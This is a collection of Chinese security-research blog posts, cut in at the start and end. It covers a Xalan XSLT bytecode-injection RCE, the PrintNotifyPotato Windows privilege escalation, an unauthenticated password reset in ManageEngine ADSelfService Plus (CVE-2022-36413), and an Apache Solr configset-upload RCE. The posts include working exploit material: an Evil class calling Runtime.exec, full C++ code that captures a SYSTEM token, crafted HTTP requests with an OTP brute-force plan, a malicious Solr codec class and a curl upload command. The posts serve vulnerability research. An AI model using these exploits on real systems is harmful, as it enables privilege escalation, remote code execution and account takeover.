  • access_flags = 0x0001:需要给与 PUBLIC 属性才能通过 newInstance() 实例化
  • name_index:需要指向 <init>Utf8 常量池下标,这里通过 <AAA select="&lt;init&gt;"/> 代码提前添加 <init> 常量,否则只有编译到构造函数方法时才会添加该常量
  • descriptor_index:需指向 ()VUtf8 常量池下标
  • attributes_count = 0x0003:这里将使用 3 个 attribute 构造出合法的方法块
    • attributes[0]:用于吞噬 double 常量的 tag
    • attributes[1]:用于构造 Code 属性块
    • attributes[2]:用于吞噬后续垃圾字符

methods[1].attributes[0]

可以看到 methods[1].attributes[0].attribute_name_index.x1 = 0x06,因为 attribute_name_index 是指向常量池的索引,所以需要常量池需要 > 1536(0x0600),这就是前面 access_flags.x2 >= 0x06 的原因

使用同样的方式,通过控制 attributes[0].attribute_length 吞噬掉下一个 double 常量的 tag

这样就可以完全控制 attributes[1].attribute_name_index,使其指向 Utf8 Code 常量,后续数据将以 Code_attribute 结构进行解析

  • attribute_lengthcode_length 都得在 code[] 部分内容确定后进行计算
  • max_stack = 0x00FF:操作数栈深度的最大值,数值计算,方法调用等都需要涉及,稍微设置大一些即可
  • max_locals = 0x0600:局部变量表所需的存储空间,主要用于存放方法中的局部变量,因为不会涉及使用大量的局部变量,所以0x0600 完全够用了
  • exception_table_length = 0x0000:异常表长度,经测试发现,在字节码层面,java.lang.Runtime.exec() 方法调用实际可以不进行异常捕获,所以这里也将其设置为 0
  • attributes_count = 0x0000Code 属性中的内部属性,用于存储如 LineNumberTable 信息,因为不涉及所以将其设置为 0 即可

这里提前看到 methods[1].attributes[2].attribute_name_index 字段,因为 attributes[2] 的作用也是用于吞噬后续的垃圾字符,所以可以和 methods[0].attributes[0].attribute_name_index 一样设置为 0x0206,所以 code 尾部需要有 3 个字节是位于 double 常量首部的

methods[1].code

接着看到最重要的字节码指令构造部分,可以通过 List of Java bytecode instructions 获取相关的 Opcode

并非需要每个字节挨个自行进行构造,可以直接编写一个恶意方法,然后提取其中 code 字节码指令部分即可,编写如下代码并获取其字节码指令:

package org.example;

import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public Evil() {
        try{
            Runtime runtime = Runtime.getRuntime();
            runtime.exec("open -a calculator");
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {
    }

    @Override
    public void transform(DOM dom, DTMAxisIterator dtmAxisIterator, SerializationHandler serializationHandler) throws TransletException {
    }
}

根据上面的字节码指令即可构造出如下代码结构,其中有几点需要注意:

  • 空操作可以使用 nop(0x00) 指令
  • 对于 tag = 6 所对应的指令 iconst_6 需要配对使用 istore_1 指令
  • 不使用 istore_0 的原因在于,局部变量表 0 位置存储着 this 变量引用
  • 使用 ldc_w 替换 ldc,可以扩大常量池加载的范围
  • 因为可以不涉及异常表,所以 goto 指令可以去除
  • 根据前面的说明,末尾的 double 常量需要占用首部 3 个字节

对于 Methodref 方法引用类型,可以使用如下方法调用的方式进行添加

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>

但是这里唯一存在问题的是:如何添加 AbstractTranslet.<init> 方法引用,这里需要看到 org.apache.xalan.xsltc.compiler.Stylesheet#translate() 方法,构造函数总是最后才进行编译,添加的 AbstractTranslet.<init> 方法引用总是位于常量池末尾,所以这将导致截断后的常量池中很难包含 MethodRef: AbstractTranslet.<init> 方法引用

然而构造函数 <init> 中必须要调用 super()this() 方法,否则会产生如下错误:

通过邮件咨询漏洞作者如何解决这个问题,漏洞作者给出了如下方案:

JVM 会检查构造函数中 return 操作之前是否有调用 super() 方法,所以可以通过 return 前嵌入一个死循环即可解决这个问题

然而在看到邮件之前,找到了另一种解决方案,通过如下代码可提前引入 AbstractTranslet.<init> 方法引用:

<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>

可通过如下代码进行验证,可以看到 AbstractTranslet.<init> 方法引用已经处于一个比较低位的常量池位置

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
	<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
   <!-- 填充大量常量 <t t1='t2' t3='t4'... /> -->
</xsl:template>
</xsl:stylesheet>

但是对于 org.apache.xalan.xsltc.runtime.AbstractTranslet 类来说,由于是 抽象类,按理说不能调用 new() 方法进行实例化操作,所以在获取 AbstractTranslet.<init> 方法引用这里卡了很久

但是从 org.apache.xalan.xsltc.compiler.FunctionCall#findConstructors() 中可以看到,通过 反射 的方式获取了构造方法

并且直到添加方法引用之前(org.apache.xalan.xsltc.compiler.FunctionCall#translate) 都不会检查 XSLT 样式表中传入的类 是否为 抽象类,因此通过这种方式解决了 AbstractTranslet.<init> 方法引用加载的问题

methods[1].attributes[2]

同样通过控制 attribute_length 长度吞噬掉剩余的垃圾字符,由于需要保留 ClassFile 尾部的 SourceFile 属性,所以长度设置为:从 0x12345678 -> 保留尾部 10 个字节(attributes_count + attributes),至此完整的利用就构造好了

ClassFile {
    ...
    attribute_info attributes[attributes_count];         // 属性表
}

0x06 - CheckList

这里总结一下需要检查的一些项:

  1. #262 (0x0106) 需要指向 Class 引用 com.sun.org.apache.xalan.internal.lib.ExsltStrings
  2. 确认 methods[0].attribute_name_index 指向正确的 Utf8 引用
  3. 确认 access_flags 位于常量池 #1794
  4. 确认 常量池大小0x0702 (可以 Debug org.apache.bcel.classfile.ConstantPool#dump 方法)
  5. 确认各个所需常量是否指向正确的常量池位置
  6. 确认 methods[1].attributes[2].attribute_length 是否为:从 0x12345678 -> 保留末尾 10 个字节

0x07 - 完整利用

参考链接

COM安全 新型土豆提权 第一部分

By: Beichen
8 December 2022 at 15:35

一、概述

自从Window10 1803/Server2016及以上打了微软的补丁之后,基于OXID 反射NTLM提权已经失效了,代表作如JuicyPotato、SweetPotato,

本文将从COM开发与调用开始,寻找替代OXID 反射NTLM提权的方法

二、关于COM对象

COM对象即“组件对象模型”,是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则,用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。

COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。通常情况下,一个COM对象由两部分组成:一个接口(Interface)和一个实现(Implementation)。接口定义了该对象的功能和行为,实现则实现了接口的具体功能。

COM对象的优点在于它具有跨语言、跨平台的特性,使得不同语言、不同平台的程序能够相互调用和协作。另外,COM对象的接口和实现分离的设计方式,使得它能够更好地支持多态和继承。

总之,COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成,接口定义了对象的功能和行为,实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性,使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。

三、COM与DCOM对象的区别

COM(组件对象模型)是一种用于在不同软件组件之间进行通信的技术,它提供了一种方法,允许开发人员创建可以在多个软件组件之间共享的对象,从而提高了软件开发的灵活性和可重用性。

DCOM(分布式组件对象模型)是一种在网络上运行的分布式技术,它扩展了COM的功能,使得可以在不同的计算机之间进行通信和交互。

因此,COM是在客户端计算机的本地级别执行的,而DCOM则是在服务器端运行的。这意味着,DCOM比COM更具有分布式特性,可以在不同的计算机之间进行通信和交互。此外,DCOM还可以为远程组件提供安全性和访问控制,从而提高了系统的安全性。

DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制,如身份验证和授权,来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件,从而提高了系统的安全性。

另外,DCOM还支持跨网络的通信,即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序,提高了系统的可用性和可扩展性。

总之,DCOM是一种扩展了COM的技术,用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制,并支持跨网络的通信,可以更好地支持分布式应用程序。

四 、OBJREF

在DCOM中,OBJREF(对象引用)是一个重要的概念。它表示一个远程对象的引用,用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。

OXID(对象交互标识符)是OBJREF中的一个重要部分,它表示一个远程对象的唯一标识符,用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成,用于指定该对象所在的计算机。

OID(对象标识符)也是OBJREF中的一个重要部分,它表示一个对象的唯一标识符,用于在单个计算机中识别该对象。OID通常由一个GUID组成,用于唯一标识一个对象。

IPID(对象接口标识符)也是OBJREF中的一个重要部分,它表示一个对象的接口的唯一标识符,用于在单个计算机中识别该接口。IPID通常由一个GUID组成,用于唯一标识一个接口。

在DCOM中,OBJREF是一个重要的概念,它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。在进行远程调用时,OBJREF用于传递对象的信息,从而实现对象的交互和通信。

五、JuicyPotato的原理

JuicyPotato使用CoGetInstanceFromIStorage触发远程调用,CoGetInstanceFromIStorage是一个Windows API函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。

在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象,在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker

PointerMoniker指的是对象的引用,也就是说在调用CoGetInstanceFromIStorage时,COM服务会获取反序列化的Class类型,然后根据类型进行下一步反序列化。

然后JuicyPotato在IStorage MarshalInterface序列化对象时,写入了引用的对象,并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer

然后JuicyPotato会对来自COM Server的流量进行解析,解析出NTLM认证信息再通过AcceptSecurityContext获取Token。

但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。

六、调用COM时的对象引用与PrintNotifyPotato

当我们在调用COM方法时,有些方法可能要求我们提供一个IUnknown对象或者IDispatch,当COM Server去操作我们提供的IUnknown对象时,COM Serve会回调我们实现的对象,我们就可以通过CoImpersonateClient去模拟COM Server。

来自COM Server的调用我们实现的QueryInterface方法,我们可以在实现的QueryInterface方法模拟COM Server的权限

Demo

// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include "ole2.h"
#include <comdef.h>
#include <printerextension.h>
#include <sddl.h>


GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };



IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };

class FakeObject : public IUnknown
{
  LONG m_lRefCount;
  

  void TryImpersonate()
  {
    if (*m_ptoken == nullptr)
    {
      HRESULT hr = CoImpersonateClient();
      if (SUCCEEDED(hr))
      {
        HANDLE hToken;
        if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
        {
          PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
          DWORD ret_len = 0;

          if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
          {
            LPWSTR sid_name;

            ConvertSidToStringSid(user->User.Sid, &sid_name);

            if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
            {
              *m_ptoken = hToken;
              RevertToSelf();
            }
            else
            {
              CloseHandle(hToken);
            }

            printf("Got Token: %p %ls\n", hToken, sid_name);
            LocalFree(sid_name);
          }
          else
          {
            printf("Error getting token user %d\n", GetLastError());
          }
          free(user);
        }
        else
        {
          printf("Error opening token %d\n", GetLastError());
        }
      }
    }
  }

public:
  HANDLE* m_ptoken;
  //Constructor, Destructor
  FakeObject(HANDLE* ptoken) {
    m_lRefCount = 1;
    m_ptoken = ptoken;
    *m_ptoken = nullptr;
  }

  ~FakeObject() {};

  //IUnknown
  HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj)
  {
    TryImpersonate();

    if (riid == __uuidof(IUnknown))
    {
      *ppvObj = this;
    }
    else if (riid == IID_FakeInterface)
    {
      printf("Check for FakeInterface\n");
      *ppvObj = this;
    }
    else
    {
      *ppvObj = NULL;
      return E_NOINTERFACE;
    }

    AddRef();
    return NOERROR;
  }

  ULONG __stdcall AddRef()
  {
    TryImpersonate();
    return InterlockedIncrement(&m_lRefCount);
  }

  ULONG __stdcall Release()
  {
    TryImpersonate();
    // not thread safe
    ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

    if (0 == ulCount)
    {
      delete this;
    }

    return ulCount;
  }
};


int main()
{
  // 初始化COM运行时
  CoInitialize(NULL);
  //初始化COM运行时上下文
  HRESULT hr;

  IMonikerPtr pFakeObj;
  HANDLE ptoken = NULL;

  FakeObject* fakeObject = new FakeObject(&ptoken);


  //CreatePointerMoniker(fakeObject, &pFakeObj);

  IUnknown* pPrintNotify = NULL;

  hr = CoCreateInstance(PrintNotifyGUID, NULL,
    CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));

  if (SUCCEEDED(hr))
  {
    IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;

    hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);

    IEnumConnectionPoints* pIEnumConnectionPoints;

    hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);


    LPCONNECTIONPOINT pCONNECTIONPOINT;
    ULONG fetched;

    hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);

    DWORD cookie;

    hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);

    printf("Got Token At :%p\n", fakeObject->m_ptoken);
  }
  else
  {
    printf("CoCreateInstance fail hr: %d\n",hr);
  }




  std::cout << "Hello World!\n";
  return 0;
}

回到我们的IIS服务器,我发现创建PrintNotify失败了?

它只允许以下用户组该怎么办?

通过查找我发现一个工具可以获取INTERACTIVE用户组,https://github.com/antonioCoco/RunasCs

在调用LogonUser方法时,lsasrv不会校验用户所有的权限和用户组,直接为当前Token添加INTERACTIVE组,然后剩下的工作照常运行,PrintNotifyPotato可以在Windows 2012-2022运行

https://github.com/BeichenDream/PrintNotifyPotato

引用

http://code.google.com/p/google-security-research/issues/detail?id=128

zcgonvh

https://github.com/antonioCoco/JuicyPotatoNG

https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/

CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus

By: Skay
10 March 2023 at 15:12

一、组件概述

1.关键词

AD、云应用、单点登录

2.概述

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。允许最终用户执行密码重置,帐户解锁和配置文件信息更新等任务,而不依赖于帮助台。ADSelfService Plus提供密码自助重置/解锁,密码到期提醒,自助服务目录更新程序,多平台密码同步器以及云应用程序的单点登录。

3.使用范围及行业分布

大中小型企业,内部使用windows域管理

二、环境搭建、动态调试

1.环境搭建

各版本下载地址,下载exe一键安装即可

https://archives.manageengine.com/self-service-password

安装后默认用户密码admin、admin,访问8888 端口

2.动态调试

修改conf/wrapper.conf 文件,添加JDWP调试参数

成功debug

组件web服务由Tomcat启动,Tomcat版本xxx,启动脚本为bin/runAsAdmin.bat,主配置文件\conf\wrapper.conf,配置了各项启动参数,最终完全启动参数如下

"..\jre\bin\java" -Dcatalina.home=.. -Dserver.home=.. -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=n -Duser.home=../logs -Dlog.dir=../logs -Ddb.home=../pgsql -Dcheck.tomcatport="true" -Dproduct.home=.. -DHTTP_PORT=8888 -DSSL_PORT=9251 -Dfile.encoding=UTF-8 -Djava.io.tmpdir=../temp -XX:OnOutOfMemoryError="SetMaxMemory.bat" -Dhaltjvm.on.dbcrash="true" -Dorg.apache.catalina.SESSION_COOKIE_NAME=JSESSIONIDADSSP -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -XX:-CreateMinidumpOnCrash -Dmail.smtp.timeout=30000 -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADSSPSSO -Xms50m -Xmx256m -Djava.library.path="../lib/native;../jre/lib" -classpath "略" -Dwrapper.key="PIskDhkG89EFqv0f0ijb69bgHwHC9ybE" -Dwrapper.port=32000 -Dwrapper.jvm.port.min=31000 -Dwrapper.jvm.port.max=31999 -Dwrapper.pid=2884 -Dwrapper.version="3.5.35-pro" -Dwrapper.native_library="wrapper" -Dwrapper.arch="x86" -Dwrapper.cpu.timeout="10" -Dwrapper.jvmid=1 -Dwrapper.lang.domain="wrapper" -Dwrapper.lang.folder="../lang" org.tanukisoftware.wrapper.WrapperSimpleApp com.adventnet.start.ProductTrayIcon conf/TrayIconInfo.xml StartADSM

启动入口方法为com.adventnet.start.ProductTrayIcon#main,启动过程这里不展开详细分析

路由

入手点为web.xml ,梳理后,可以将路由做大致如下分类

/RestAPI/ => org.apache.struts.action.ActionServlet

/api/json/ => com.manageengine.ads.fw.api.JSONAPIServlet

/ServletAPI/* /RestAPI/WC/Clustering/* /RestAPI/Clustering/* /m/mLoginAction

/m/mSelfService /m/mMFA => com.manageengine.ads.fw.common.api.ServletAPI

以及在web.xml 中单独配置的一些sevlet

身份校验

这里针对此漏洞着重对RestAPI展开分析

web.xml 中对/RestAPI/WC/* 路由做了身份校验,其它路由未进行配置。

关于RestAPI相关的校验在ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入com.manageengine.ads.fw.api.RestAPIFilter#doAction,进入不同的校验逻辑。

这里的身份校验,

RestAPI的重点校验逻辑在RestAPIFilter中,而更加具体的校验存在数据库中

select * from ADSProductAPIs

大概分为这几类:需要session,需要HANDSHAKE_KEY,无需身份校验。

其它安全机制

security.xml

这里列出了每个API的参数(类型,长度,正则),请求方法,是否需要csrf等

四、CVE-2022-36413

Zoho ManageEngine ADSelfService Plus支持第三方登录方式,前提条件需要后台配置身份校验数据库

http://192.168.33.33:8888/webclient/index.html?#/configuration/selfservice/idm-applications

身份验证绕过部分也还是利用了RestSAPI,我们知道RestAPI的身份校验逻辑是ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入

com.manageengine.ads.fw.api.RestAPIFilter#doAction做具体的权限验证,

这里判断接口是否需要权限认证存储在PostgreSQL中,

select * from ADSProductAPIs

很幸运的,我们找到了三个未授权接口来完成这个任意密码重置

Step 1:PM_INITIAILIZE_AGENT

POST /RestAPI/PMAgent/****** HTTP/1.1
Host: 192.168.33.133:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Time:1656925239
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.33.133:8888/webclient/index.html?
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
 
something

这里的一些参数需要特殊构造,首先是时间戳,这个比较好解决

然后是machineName,如果在当前域,容易得到 PS:无需登录即可获取域名

opt参数,这个参数是一个六位数字,容易暴力破解,此参数校验逻辑如下com.manageengine.adssp.server.api.authorization.PasswordSyncAgentAPIAuthorizer#verifyAgent if ((new Date()).getTime() / 1000L - requsetTime < 300L && requsetTime - (new Date()).getTime() / 1000L < 300L)

我们有五分钟的时间来使用爆破

com.adventnet.iam.security.DoSController#controlDoS防御暴力破解是在这里完成的,

时间戳不变,每个ip地址可以发送1000个请求 100000/1000 = 100

综上所述,我们可以在可接受的时间内获取otp参数,而且使用像亚马逊或谷歌这样的云服务提供商,那实际上很容易。执行一百万个代码的完整攻击将花费大约 150 美元

这里展示了真实攻击的案例:https://thezerohack.com/hack-any-instagram

成功获取加密码加解密key

Step 2:PM_PASSWORD_SYNC

POST /RestAPI/PMAgent/****** HTTP/1.1
Host: 192.168.33.33:8888
Time:1657012207
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/2010101 Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
REMOTE_USER_IP:127.0.0.1
ZSEC_PROXY_SERVER_NAME:aaa
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
X-Forwarded-For:127.0.0.1
Referer: http://192.168.33.33:8888/webclient/index.html?
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
 
otp=294608&operation=passwordSync&username=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&machineName=TEST-DC-01.test.com&password=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&time=165512621862411&PRODUCT_NAME=nnn&domainName=test.com&machineFQDName=TEST-DC-01.test.com

重置用户名和密码,我们可以通过PM_INITIALIZE_AGENT操作,但是用户名密码需要加密下

程序通过动态加载动态链接库实现的AES加密,解密需要做一些处理,通过分析ManageEngineADSFramework.dll,本地构造出加密后的用户名密码

成功修改用户名密码

五、参考链接

https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-36413.html

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

By: Skay
14 April 2023 at 11:16

时间线

2022年12月9日 漏洞提交官方

2023年2月20日 官方拒绝修复

2023年2月22日 提交cnvd

2023年3月24日 官方发布9.2.0 修复漏洞

2023年4月14日 CNVD 审核通过

一、简介

1.Apache Solr概述

建立在Lucene-core之上,Luncene是一个全文检索的工具包,它不是一个完整的引擎,Solr将它打包成了一个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有一个后台管理界面。所以,它既然是基于Luncene的,所以他的核心功能逻辑就应该和Luncene一样,给它一个Docunment,Solr进行分词以及查找反向索引,然后排序输出。

Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时,它被称为查询。

在一些大型门户网站、电子商务网站等都需要站内搜索功能,使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求,比如:搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等,这里就需要使用全文检索技术实现搜索功能。

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene 是一个全文检索引擎工具包,它是一个 jar 包,不能独立运行,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进行存储的。NoSQL特性和丰富的文档处理(例如Word和PDF文件)。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:id进行描述。 Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。

Solr可以独立运行,打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中,Solr索引的实现方法很简单,用 POST 方法向Solr服务器 发送一个描述

Field 及其内容的XML文档,Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进行解析,组织页面布局。Solr不提供构建UI的功能,Solr提供了一个管理界面,通过管理界面可以查询Solr的配置和运行情况。

中文文档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html

2.使用范围及行业分布

  • 业界两个最流行的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
  • fofa搜索公网资产 一万 app="APACHE-Solr"
  • GitHub Star数量 3.8k

3.重点产品特性

默认全局未授权,多部署于内网,内置zk服务

不可自动升级,需要手动升级修复漏洞

二、环境搭建及调试

获取源码及安装包:

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2.tgz

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2-src.tgz

8系列通过Ant 构建,不能直接导入idea,需要在目录下提前构建下

ant ivy-bootstrap、ant idea,然后直接导入idea即可

1

9 系列通过Gradle构建,直接导入idea即可,且需要jdk11及以上

编译成功后将源代码导入idea当中,开启solr并设置debug模式

cd \solr\bin
solr.cmd start -e cloudsolr.cmd stop -all
solr.cmd -c -f -a "-xdebug -
Xrunjdwp:transport=dt_socket, server=y, suspend=n, address=10010"-p 8983

漏洞的利用需要开启solrcloud
idea配置remote debug

2

三、漏洞前置知识

(1) zookeeper

zk是分布式系统中的一项协调服务。solr cloud启动默认启动内置zk服务,solr将zk用于三个关键操作:

1、集中化配置存储和分发

2、检测和提醒集群的状态改变

3、确定分片代表

**(2)**solrconfig.xml

此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置

这个文件可以说,在功能上包含了一个core处理的全部配置信息

  • 指定Luncene版本
  • core的data目录 存放当前core的idnex索引文件和tlog事务日志文件
  • 索引存储工厂 配置了一些存储时的参数 线程等
  • 编解码方式
  • 配置索引属性,主要与Luncene创建索引的一些参数,文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
  • 更新处理器 更新增加Document时的update对应什么处理动作在这里配置,在这里也可以自定义更新处理器
  • 以及查询的相关配置
  • 请求转发器 自定义增加在这里配置
  • 请求解析器 配置solr的请求解析行为
  • 请求处理器 solr通过requestHandler提供webservice功能,通过http请求对索引进行访问 可以自定义增加,在这里配置

(3) Solr配置集 configset

用于实现多个不同内核之间的配置共享

(4).关键类

SolrResourceLoader:关于SolrResourceLoader,通过类名来看是Solr的资源加载类,负责加载各种资源到运行环境中,通过ClassLoader以及文件读取加载类、文件资源等,也支持jndi的方式加载,以及一些url以及文件路径处理的方法。

SolrConfig:solrconfig.xml的对应实体类

https://xz.aliyun.com/t/9248

四、The way of RCE

SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。

漏洞利用中这两句代码完成了恶意jar包的加载

loader.addToClassLoader(urls);
loader.reloadLuceneSPI();

org.apache.solr.core.SolrResourceLoader#addToClassLoader
首先获取到的classloader为URLClassLoader,URLClassLoader为后面加载路径时提供了更多的操作空间

3

needToReloadLuceneSPI,是否通过SPI机制加载默认为true,也就是说是通过Java SPI机制进行加载。

org.apache.solr.core.SolrResourceLoader#reloadLuceneSPI

// Codecs:
PostingsFormat.reloadPostingsFormats(this.classLoader);
DocValuesFormat.reloadDocValuesFormats(this.classLoader);
Codec.reloadCodecs(this.classLoader);
// Analysis:
CharFilterFactory.reloadCharFilters(this.classLoader);
TokenFilterFactory.reloadTokenFilters(this.classLoader);
TokenizerFactory.reloadTokenizers(this.classLoader);

SPI 原理
SPI 服务的加载可以分为两部分:

  • 类全称限定名的获取,即知道哪些类是服务提供者。
  • 类加载,把获取到的类加载到内存中,涉及上下文类加载器。
    SPI机制在指定配置的情况下,ServiceLoader.load 根据传入的接口类,遍历 META-INF/services 目录下的以该类命名的文件中的所有类,然再用类加载器加载这些服务。

4

获取到 SPI 服务实现类的文件之后,就可以使用类加载器将对应的类加载到内存中,也就会触发恶意类中的static代码块。

了解到上述后,构造恶意类需指定META-INF/services下类,以及继承org.apache.lucene.codecs.PostingsFormat接口,构造如下

5

/**
 * @auther Skay
 * @date 2022/12/5 10:42
 * @description
 */
public class Calc extends org.apache.lucene.codecs.PostingsFormat{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() {
        super("Exploit");
        try {
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public FieldsConsumer fieldsConsumer(SegmentWriteState segmentWriteState) throws IOException {
        return null;
    }

    @Override
    public FieldsProducer fieldsProducer(SegmentReadState segmentReadState) throws IOException {
        return null;
    }

    public static void main(String[] args) {

    }
}

五、How to upload evil-Jar?

这里需要引入Apache Solr的两个已知功能点,

1.ConfigSet配置集上传功能

官方文档提供了详细的API调用规范 https://solr.apache.org/guide/8_8/configsets-api.html

实际操作将solr example项目中_default 打zip即可

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset.zip "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib" -x "http://127.0.0.1:8888"

此接口的核心处理类为org.apache.solr.handler.admin.ConfigSetsHandler,configset.upload.enabled开关为默认开启,所以默认可以上传配置集文件。
配置集文件上传ZK中,首先判断了配置集是否已经存在,是否为单文件上传,filePath参数是否指定,文件是否覆盖等,紧接着进行文件解压(但是这里并无文件落地操作,都存储在ZK中)。

具体代码逻辑如下,关键位置做了一些简单的注释org.apache.solr.handler.admin.ConfigSetsHandler#handleConfigUploadRequest

private void handleConfigUploadRequest(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
  if (!"true".equals(System.getProperty("configset.upload.enabled", "true"))) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "Configset upload feature is disabled. To enable this, start Solr with '-Dconfigset.upload.enabled=true'.");
  }

// 获取上传的配置集文件名
  String configSetName = req.getParams().get(NAME);
  if (StringUtils.isBlank(configSetName)) {
